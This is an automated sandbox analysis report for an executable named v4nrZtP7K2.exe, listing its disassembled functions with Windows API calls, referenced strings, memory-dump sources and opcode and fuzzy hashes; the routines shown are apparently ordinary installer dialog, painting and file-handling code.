Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction ID: e6f127318fd58302517648c6e406f49d0db104963aa8d987e753e5cb7f87edca
Opcode Fuzzy Hash: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction Fuzzy Hash: EDF08271A14104EBDB10DBA4DA499AEB378EF14314F60467BF545F21E0DBB45D809B2A

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA
Call, xrefs: 004046FB

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\v4nrZtP7K2.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 0040667C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040667D, 00406682
*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3250253040
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(000162E1,00000064,0001AD88), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 6FFB2569 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6FFB121B: GlobalAlloc.KERNELBASE(00000040,?,6FFB123B,?,6FFB12DF,00000019,6FFB11BE,-000000A0), ref: 6FFB1225

GlobalFree.KERNEL32(?), ref: 6FFB2657
GlobalFree.KERNEL32(00000000), ref: 6FFB268C

Memory Dump Source

Source File: 00000001.00000002.2081342100.000000006FFB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000001.00000002.2081095935.000000006FFB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081452717.000000006FFB4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081508923.000000006FFB6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ffb0000_v4nrZtP7K2.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 88c30e1c4ffde3c228755ef75e115e5f1ba46b74e2c71c8aa8dd5a09d59dcfc8
Instruction ID: c348dce76030f733a58f679d1887c393ff0bb0de10852f7070ea717fe4569d94
Opcode Fuzzy Hash: 88c30e1c4ffde3c228755ef75e115e5f1ba46b74e2c71c8aa8dd5a09d59dcfc8
Instruction Fuzzy Hash: 3831CD32118501DFCB168F6AC9D4D2A7BB6FF87354314466DF541C7264C736A825CB21

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp, xrefs: 004025E1
C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp$C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp\System.dll
API String ID: 3109718747-404885607
Opcode ID: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction ID: c13fbae436403556d6c48d38c5ac6db5007ae9437622b5a65b164b2cac9ab4a1
Opcode Fuzzy Hash: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction Fuzzy Hash: FB110B72A00301BADB106BB18E8999F7664AF44359F20443BF502F21D0D9FC89416B5E

Function 6FFB18D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 6FFB193A
GlobalFree.KERNEL32(?), ref: 6FFB1ADA
GlobalFree.KERNEL32(?), ref: 6FFB1ADF

Memory Dump Source

Source File: 00000001.00000002.2081342100.000000006FFB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000001.00000002.2081095935.000000006FFB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081452717.000000006FFB4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081508923.000000006FFB6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ffb0000_v4nrZtP7K2.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: d5496dd476aad18d91f711e80d01e8462df36306bc2255d6adc335857816699c
